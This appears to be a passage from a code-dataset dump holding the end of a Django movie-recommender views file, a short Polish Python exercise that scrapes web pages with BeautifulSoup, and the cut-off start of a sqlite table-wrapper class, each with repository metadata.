(pd_rating_movie_user['age'] <= '49') & (pd_rating_movie_user['age'] >= '40') & (\n pd_rating_movie_user['gender'] == 'M') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif custom_user.gender == 'F':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '49') & (pd_rating_movie_user['age'] >= '40') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n else:\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '49') & (pd_rating_movie_user['age'] >= '40') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif (custom_user_age <= 59) and custom_user_age >= 50:\n if custom_user_gender == 'M':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '59') & (pd_rating_movie_user['age'] >= '50') & (\n pd_rating_movie_user['gender'] == 'M') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif custom_user.gender == 'F':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '59') & (pd_rating_movie_user['age'] >= '50') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n else:\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '59') & (pd_rating_movie_user['age'] >= '50') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif (custom_user_age <= 69) and custom_user_age >= 60:\n if custom_user_gender == 'M':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '69') & (pd_rating_movie_user['age'] >= '60') & (\n pd_rating_movie_user['gender'] == 'M') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif custom_user.gender == 'F':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '69') & (pd_rating_movie_user['age'] >= '60') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n else:\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '69') & (pd_rating_movie_user['age'] >= '60') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif (custom_user_age <= 79) and custom_user_age >= 70:\n if custom_user_gender == 'M':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '79') & (pd_rating_movie_user['age'] >= '70') & (\n pd_rating_movie_user['gender'] == 'M') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif custom_user.gender == 'F':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '79') & (pd_rating_movie_user['age'] >= '70') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n else:\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '79') & (pd_rating_movie_user['age'] >= '70') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n else: # Anyone older than 79\n if custom_user_gender == 'M':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '79') & (pd_rating_movie_user['age'] >= '70') & (\n pd_rating_movie_user['gender'] == 'M') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n elif custom_user.gender == 'F':\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '79') & (pd_rating_movie_user['age'] >= '70') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n else:\n movie_list = pd_rating_movie_user.loc[\n (pd_rating_movie_user['age'] <= '79') & (pd_rating_movie_user['age'] >= '70') & (\n pd_rating_movie_user['gender'] == 'F') & (pd_rating_movie_user['rating'] > 3)]\n movies = movie_list['movie_id'].unique()\n movies_random = (random.choices(movies, k=5))\n print(len(movies_random))\n print(movies_random)\n movie_indices = []\n for i in movies_random:\n movie_indices.append(i - 1)\n print(movie_indices)\n # movies_to_return = data_frame_movie_records.iloc[movie_indices][['movie_id', 'movie_title']]\n print(data_frame_movie_records.iloc[movie_indices][['movie_id', 'movie_title']])\n return data_frame_movie_records.iloc[movie_indices][['movie_id', 'movie_title']]\n # return movies\n\n\n@login_required\ndef recommend_user_based_result(request):\n movies = Movies.objects.all()\n recommend_user_based_result_list = []\n existing_ratings = Rating.objects.all()\n existing_users = existing_ratings.filter().values('user_id').distinct()\n user_exists = Rating.objects.filter(user_id=request.user.id)\n if user_exists.count() == 0:\n result = recommendation_user_profile(request)\n titles_wo_rating = result['movie_title'].values.tolist()\n for title_wo_rating in titles_wo_rating:\n for movie in movies:\n if movie.movie_title == title_wo_rating:\n recommend_user_based_result_list.append(movie)\n else:\n result_rating = recommend_user_based(request.user.id)\n titles = result_rating['movie_title'].values.tolist()\n for title in titles:\n for movie in movies:\n if movie.movie_title == title:\n recommend_user_based_result_list.append(movie)\n return recommend_user_based_result_list\n\n\n# only using movies' descriptions\ndef description_based_recommendation(title):\n data_frame_movie_records = pd.DataFrame.from_records(\n Movies.objects.all().values_list('movie_id', 'movie_title', 'imdb_url', 'decade', 'genres', 'avg_rating',\n 'poster', 'cast', 'director', 'description', 'keyword'),\n columns=['movie_id', 'movie_title', 'imdb_url', 'decade', 'genres', 'avg_rating', 'poster', 'cast', 'director',\n 'description', 'keyword'])\n descriptions = data_frame_movie_records['description']\n\n # Define a TF-IDF Vectorizer Object. Remove all english stop words such as 'the', 'a'\n tfidf = TfidfVectorizer(stop_words='english') # This was used first which is correct.\n # tfidf = TfidfVectorizer(analyzer='word',ngram_range=(1, 2),min_df=0,stop_words='english') #This is an alternative of the above.\n\n # Replace NaN with an empty string\n # descriptions = descriptions.fillna('')\n\n # Construct the required TF-IDF matrix by fitting and transforming the data\n tfidf_matrix = tfidf.fit_transform(descriptions)\n # print(tfidf_matrix)\n\n # Output the shape of tfidf_matrix\n tfidf_matrix.shape\n # print(tfidf_matrix.shape)\n\n # all the words in descriptions\n feature_names = tfidf.get_feature_names()\n # print(feature_names)\n\n # Compute the cosine similarity matrix\n cosine_sim = linear_kernel(tfidf_matrix, tfidf_matrix)\n print(cosine_sim.shape)\n print(cosine_sim[2])\n\n # Construct a reverse map of indices and movie titles\n indices = pd.Series(data_frame_movie_records.index, index=data_frame_movie_records['movie_title'])\n print(indices) # indices can be incremented 1\n\n # Get the index of the movie that matches the title\n idx = indices[title]\n # Get the pairwsie similarity scores of all movies with that movie\n sim_scores = list(enumerate(cosine_sim[idx]))\n\n # Sort the movies based on the similarity scores\n sim_scores = sorted(sim_scores, key=lambda x: x[1], reverse=True)\n\n # Get the scores of the 10 most similar movies\n sim_scores = sim_scores[1:11]\n\n # Get the movie indices\n movie_indices = [i[0] for i in sim_scores]\n # Return the top 10 most similar movies\n return data_frame_movie_records['movie_title'].iloc[movie_indices]\n\n\ndef description_recommendations(request):\n title = 'Godfather, The (1972)'\n result = description_based_recommendation(title)\n print(result)\n template = 'recommender/recommendation.html'\n return render(request, template)\n\n\n\"\"\"\n def create_soup(x):\n return ' '.join(x['genres']) + ' ' + ' '.join(x['cast']) + ' ' + x['director'] + ' ' + ' '.join(\n x['description'] + ' ' + ' '.join(x['keyword']))\n\n\n def clean_data(x):\n if isinstance(x, list):\n return [str.lower(i.replace(\" \", \"\")) for i in x]\n else:\n # Check if director exists. If not, return empty string\n if isinstance(x, str):\n return str.lower(x.replace(\" \", \"\"))\n else:\n return ''\n\"\"\"\n\n\ndef content_based_recommendation(title):\n data_frame_movie_records = pd.DataFrame.from_records(\n Movies.objects.all().values_list('movie_id', 'movie_title', 'imdb_url', 'decade', 'genres', 'avg_rating',\n 'poster', 'cast', 'director', 'description', 'keyword'),\n columns=['movie_id', 'movie_title', 'imdb_url', 'decade', 'genres', 'avg_rating', 'poster', 'cast', 'director',\n 'description', 'keyword'])\n # descriptions = data_frame_movie_records['description']\n # keywords = data_frame_movie_records['keyword']\n\n features = ['genres', 'cast', 'director', 'description', 'keyword']\n\n # for feature in features:\n # data_frame_movie_records[feature] = data_frame_movie_records[feature].apply(literal_eval)\n # print(data_frame_movie_records)\n # print(data_frame_movie_records[['genres', 'cast', 'director', 'description','keyword']].head(3))\n\n # for feature in features:\n # data_frame_movie_records[feature] = data_frame_movie_records[feature].apply(clean_data)\n\n data_frame_movie_records['soup'] = ''\n for feature in features:\n data_frame_movie_records['soup'] += data_frame_movie_records[feature]\n # data_frame_movie_records['soup'] = data_frame_movie_records.apply(create_soup, axis=1)\n # soup_temp = data_frame_movie_records[['soup']].head(2)\n\n count = CountVectorizer(stop_words='english') # This was used first which is correct.\n # count = CountVectorizer(analyzer='word',ngram_range=(1, 2),min_df=0,stop_words='english') #This is an alternative of the above.\n count_matrix = count.fit_transform(data_frame_movie_records['soup'])\n print(count_matrix.shape)\n\n cosine_sim = cosine_similarity(count_matrix, count_matrix)\n # Reset index of your main DataFrame and construct reverse mapping as before\n metadata = data_frame_movie_records.reset_index()\n indices = pd.Series(data_frame_movie_records.index, index=data_frame_movie_records['movie_title'])\n\n # Get the index of the movie that matches the title\n idx = indices[title]\n\n # Get the pairwise similarity scores of all movies with that movie\n sim_scores = list(enumerate(cosine_sim[idx]))\n\n # Sort the movies based on the similarity scores\n sim_scores = sorted(sim_scores, key=lambda x: x[1], reverse=True)\n\n # Get the scores of the 10 most similar movies\n sim_scores = sim_scores[1:11]\n\n # Get the movie indices\n movie_indices = [i[0] for i in sim_scores]\n\n # Return the top 10 most similar movies\n # return data_frame_movie_records.iloc[movie_indices][['movie_title', 'movie_id']]\n return data_frame_movie_records.iloc[movie_indices][['movie_title']]\n\n\ndef content_based_recommendation_result(request):\n title = 'Godfather, The (1972)'\n result = content_based_recommendation(title)\n print(result)\n print(\"title al ve öyle hesapla\")\n template = 'recommender/recommendation.html'\n return render(request, template)\n\n\ndef hybrid_recommendation(request):\n user_id = request.user.id\n existing_ratings = Rating.objects.all()\n existing_users = existing_ratings.filter().values('user_id').distinct()\n print(existing_users.count())\n #print(existing_users)\n answers_list = list(existing_users)\n #print(answers_list)\n df_rating_users = pd.DataFrame(answers_list)\n df_rating_users.to_csv(r'df_rating_users.csv', index=False)\n print(request.user.id)\n user_exists = Rating.objects.filter(user_id=request.user.id)\n if user_exists.count() == 0:\n user_based_results = recommendation_user_profile(request)\n else:\n user_based_results = recommend_user_based(user_id)\n\n hybrid_results = user_based_results['movie_title'].apply(\n lambda movie_title: content_based_recommendation(movie_title))\n\n hybrid_movies = []\n df = hybrid_results.to_frame()\n deneme = df.values.tolist()\n stx = deneme\n tostr = str(stx)\n # print(tostr)\n result = []\n split = tostr.split(\",\")\n for row in split:\n # print(\"---------------------\")\n\n den = row.split(\"\\n\")\n for r in den:\n result.append(r)\n\n deneme = []\n # print(result[1])\n for k in result:\n x = k.split(\" \", 1)\n # print(x[1].strip())\n deneme.append(x[1].strip())\n # print(deneme[4])\n movie_titles = []\n movies = Movies.objects.all()\n for i in deneme:\n title = str(i).replace('(1...', '').replace(']', '').replace('[', '').strip()\n movie_titles.append(title)\n for title in movie_titles:\n for movie in movies:\n if title == 'movie_title':\n #print('if')\n pass\n elif movie.movie_title == title:\n #print('elif')\n hybrid_movies.append(movie)\n\n print(hybrid_movies)\n hybrid_movies = list(dict.fromkeys(hybrid_movies))\n print(hybrid_movies)\n\n context = {\n 'hybrid_movies': hybrid_movies\n }\n template = 'recommender/recommendation.html'\n return render(request, template, context)\n\n\ndef hybrid_recom_knn(request):\n movie_title = 'Toy Story (1995)'\n knn_results = knn(request, movie_title)\n print(type(knn_results))\n hybrid_results = []\n func = lambda movietitle: content_based_recommendation(movietitle)\n for row in knn_results:\n hybrid_results.append(func(row.movie_title))\n print(hybrid_results)\n\n template = 'recommender/recommendation.html'\n return render(request, template)\n", "repo_name": "ezgibsahin/MOVIEN", "sub_path": "Recommender/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 32600, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.shortcuts.redirect", "line_number": 39, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 41, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 46, "usage_type": "attribute"}, {"api_name": "rating.models.Rating.objects.all", "line_number": 47, "usage_type": "call"}, {"api_name": "rating.models.Rating.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "rating.models.Rating", "line_number": 47, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 54, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.log", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 64, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 68, "usage_type": "call"}, {"api_name": "sklearn.neighbors.NearestNeighbors", "line_number": 69, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 84, "usage_type": "name"}, {"api_name": "movies.models.Movies.objects.all", "line_number": 84, "usage_type": "call"}, {"api_name": "movies.models.Movies.objects", "line_number": 84, "usage_type": "attribute"}, {"api_name": "movies.models.Movies", "line_number": 84, "usage_type": "name"}, {"api_name": "movies.models", "line_number": 87, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 44, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 94, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 94, "usage_type": "attribute"}, {"api_name": "movies.models.Movies.objects.all", "line_number": 95, "usage_type": "call"}, {"api_name": "movies.models.Movies.objects", "line_number": 95, "usage_type": "attribute"}, {"api_name": "movies.models.Movies", "line_number": 95, "usage_type": "name"}, {"api_name": "fuzzywuzzy.process.extractOne", "line_number": 100, "usage_type": "call"}, {"api_name": "fuzzywuzzy.process", "line_number": 100, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 109, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 109, "usage_type": "attribute"}, {"api_name": "rating.models.Rating.objects.all", "line_number": 110, "usage_type": "call"}, {"api_name": "rating.models.Rating.objects", "line_number": 110, "usage_type": "attribute"}, {"api_name": "rating.models.Rating", "line_number": 110, "usage_type": "name"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 115, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 118, "usage_type": "call"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 119, "usage_type": "call"}, {"api_name": "sklearn.metrics.precision_score", "line_number": 132, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 132, "usage_type": "name"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 133, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 133, "usage_type": "name"}, {"api_name": "sklearn.metrics.recall_score", "line_number": 134, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 134, "usage_type": "name"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 135, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 135, "usage_type": "name"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 136, "usage_type": "call"}, {"api_name": "sklearn.metrics", "line_number": 136, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 141, "usage_type": "call"}, {"api_name": "rating.models", "line_number": 149, "usage_type": "argument"}, {"api_name": "numpy.array", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 149, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 182, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 182, "usage_type": "attribute"}, {"api_name": "movies.models.Movies.objects.all", "line_number": 183, "usage_type": "call"}, {"api_name": "movies.models.Movies.objects", "line_number": 183, "usage_type": "attribute"}, {"api_name": "movies.models.Movies", "line_number": 183, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 190, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 190, "usage_type": "attribute"}, {"api_name": "rating.models.Rating.objects.all", "line_number": 191, "usage_type": "call"}, {"api_name": "rating.models.Rating.objects", "line_number": 191, "usage_type": "attribute"}, {"api_name": "rating.models.Rating", "line_number": 191, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 200, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 203, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 206, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 219, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 251, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 251, "usage_type": "attribute"}, {"api_name": "movies.models.Movies.objects.all", "line_number": 252, "usage_type": "call"}, {"api_name": "movies.models.Movies.objects", "line_number": 252, "usage_type": "attribute"}, {"api_name": "movies.models.Movies", "line_number": 252, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 257, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 257, "usage_type": "attribute"}, {"api_name": "rating.models.Rating.objects.all", "line_number": 258, "usage_type": "call"}, {"api_name": "rating.models.Rating.objects", "line_number": 258, "usage_type": "attribute"}, {"api_name": "rating.models.Rating", "line_number": 258, "usage_type": "name"}, {"api_name": "pandas.merge", "line_number": 261, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 263, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 263, "usage_type": "attribute"}, {"api_name": "users.models.CustomUser.objects.all", "line_number": 264, "usage_type": "call"}, {"api_name": "users.models.CustomUser.objects", "line_number": 264, "usage_type": "attribute"}, {"api_name": "users.models.CustomUser", "line_number": 264, "usage_type": "name"}, {"api_name": "pandas.merge", "line_number": 267, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 269, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 269, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 269, "usage_type": "name"}, {"api_name": "users.models.CustomUser.objects.get", "line_number": 270, "usage_type": "call"}, {"api_name": "users.models.CustomUser.objects", "line_number": 270, "usage_type": "attribute"}, {"api_name": "users.models.CustomUser", "line_number": 270, "usage_type": "name"}, {"api_name": "movies.models", "line_number": 280, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 281, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 281, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 286, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 287, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 287, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 292, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 293, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 293, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 299, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 300, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 300, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 305, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 306, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 306, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 311, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 312, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 312, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 318, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 319, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 319, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 324, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 325, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 325, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 330, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 331, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 331, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 337, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 338, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 338, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 343, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 344, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 344, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 349, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 350, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 350, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 356, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 357, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 357, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 362, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 363, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 363, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 368, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 369, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 369, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 375, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 376, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 376, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 381, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 382, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 382, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 387, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 388, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 388, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 394, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 395, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 395, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 400, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 401, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 401, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 406, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 407, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 407, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 413, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 414, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 414, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 419, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 420, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 420, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 425, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 426, "usage_type": "call"}, {"api_name": "movies.models", "line_number": 426, "usage_type": "argument"}, {"api_name": "movies.models", "line_number": 441, "usage_type": "name"}, {"api_name": "movies.models.Movies.objects.all", "line_number": 441, "usage_type": "call"}, {"api_name": "movies.models.Movies.objects", "line_number": 441, "usage_type": "attribute"}, {"api_name": "movies.models.Movies", "line_number": 441, "usage_type": "name"}, {"api_name": "rating.models.Rating.objects.all", "line_number": 443, "usage_type": "call"}, {"api_name": "rating.models.Rating.objects", "line_number": 443, "usage_type": "attribute"}, {"api_name": "rating.models.Rating", "line_number": 443, "usage_type": "name"}, {"api_name": "rating.models.Rating.objects.filter", "line_number": 445, "usage_type": "call"}, {"api_name": "rating.models.Rating.objects", "line_number": 445, "usage_type": "attribute"}, {"api_name": "rating.models.Rating", "line_number": 445, "usage_type": "name"}, {"api_name": "movies.models", "line_number": 450, "usage_type": "name"}, {"api_name": "movies.models", "line_number": 457, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 439, "usage_type": "name"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 465, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 465, "usage_type": "attribute"}, {"api_name": "movies.models.Movies.objects.all", "line_number": 466, "usage_type": "call"}, {"api_name": "movies.models.Movies.objects", "line_number": 466, "usage_type": "attribute"}, {"api_name": "movies.models.Movies", "line_number": 466, "usage_type": "name"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 473, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise.linear_kernel", "line_number": 492, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 497, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 522, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_records", "line_number": 544, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 544, "usage_type": "attribute"}, {"api_name": "movies.models.Movies.objects.all", "line_number": 545, "usage_type": "call"}, {"api_name": "movies.models.Movies.objects", "line_number": 545, "usage_type": "attribute"}, {"api_name": "movies.models.Movies", "line_number": 545, "usage_type": "name"}, {"api_name": "sklearn.feature_extraction.text.CountVectorizer", "line_number": 568, "usage_type": "call"}, {"api_name": "sklearn.metrics.pairwise.cosine_similarity", "line_number": 573, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 576, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 604, "usage_type": "call"}, {"api_name": "rating.models.Rating.objects.all", "line_number": 609, "usage_type": "call"}, {"api_name": "rating.models.Rating.objects", "line_number": 609, "usage_type": "attribute"}, {"api_name": "rating.models.Rating", "line_number": 609, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 615, "usage_type": "call"}, {"api_name": "rating.models.Rating.objects.filter", "line_number": 618, "usage_type": "call"}, {"api_name": "rating.models.Rating.objects", "line_number": 618, "usage_type": "attribute"}, {"api_name": "rating.models.Rating", "line_number": 618, "usage_type": "name"}, {"api_name": "movies.models", "line_number": 650, "usage_type": "name"}, {"api_name": "movies.models.Movies.objects.all", "line_number": 650, "usage_type": "call"}, {"api_name": "movies.models.Movies.objects", "line_number": 650, "usage_type": "attribute"}, {"api_name": "movies.models.Movies", "line_number": 650, "usage_type": "name"}, {"api_name": "movies.models", "line_number": 655, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 671, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 685, "usage_type": "call"}]} {"seq_id": "38945504630", "text": "import random \nimport requests\nfrom bs4 import BeautifulSoup\ndict = {\n \"first\":\"pierwszy\",\n \"end\":\"koniec\",\n \"tea\":\"herbata\",\n \"dog\":\"pies\"\n}\n\nprint(dict)\nword = input (\"podaj wyraz\\n\")\nif word in dict:\n print (dict[word])\nelse:\n print(\"brak słowa\")\nfor i in range(20,0,-1):\n print(i)\n\nfor i in range(0,10):\n print(\"*\",end='')\n\n#print(\"\\n\")\nprint (\"*\"*10)\nr = requests.get(\"http://www.rajkonkret.pl/\")\nsoup = BeautifulSoup(r.content,features=\"html.parser\")\nlist = soup.find_all('div')\nfor i in list:\n print(i.get('class'))\n\n#print(soup.get_text)\nfor i in range(6):\n print(random.randrange(1,50))\nurl = 'https://www.pracuj.pl/praca/python;kw/lodz;wp?rd=50'\npage = requests.get(url)\n#print(page.content)\nsoup2 = BeautifulSoup(page.content,'html.parser')\nprint(soup2.title.string)\nelement = soup2.find(class_=\"results-header__offer-count-text-number\")\nprint(\"Oferty pracy Python w Łodzi \", element.text)\n\n", "repo_name": "rajkonkret/python-szkolenie", "sub_path": "soup.py", "file_name": "soup.py", "file_ext": "py", "file_size_in_byte": 914, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.get", "line_number": 25, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 26, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 33, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 35, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 37, "usage_type": "call"}]} {"seq_id": "40537564991", "text": "import sqlite3\n\n\ndef connect_to_database(f):\n def wrap(self, *args):\n with sqlite3.connect(self.database_name) as con:\n cur = con.cursor()\n connected = f(self, cur, *args)\n return connected\n return wrap\n\n\nclass TableData:\n def __init__(self, database_name, table_name):\n self.database_name = database_name\n self.table_name = table_name\n\n @connect_to_database\n def __len__(self, cursor):\n cursor.execute(f'select count(*) from {self.table_name}')\n return cursor.fetchone()[0]\n\n @connect_to_database\n def __getitem__(self, cursor, item):\n cursor.execute(f'select * from {self.table_name} where name=:name',\n {'name': item})\n return cursor.fetchall()\n\n @connect_to_database\n def 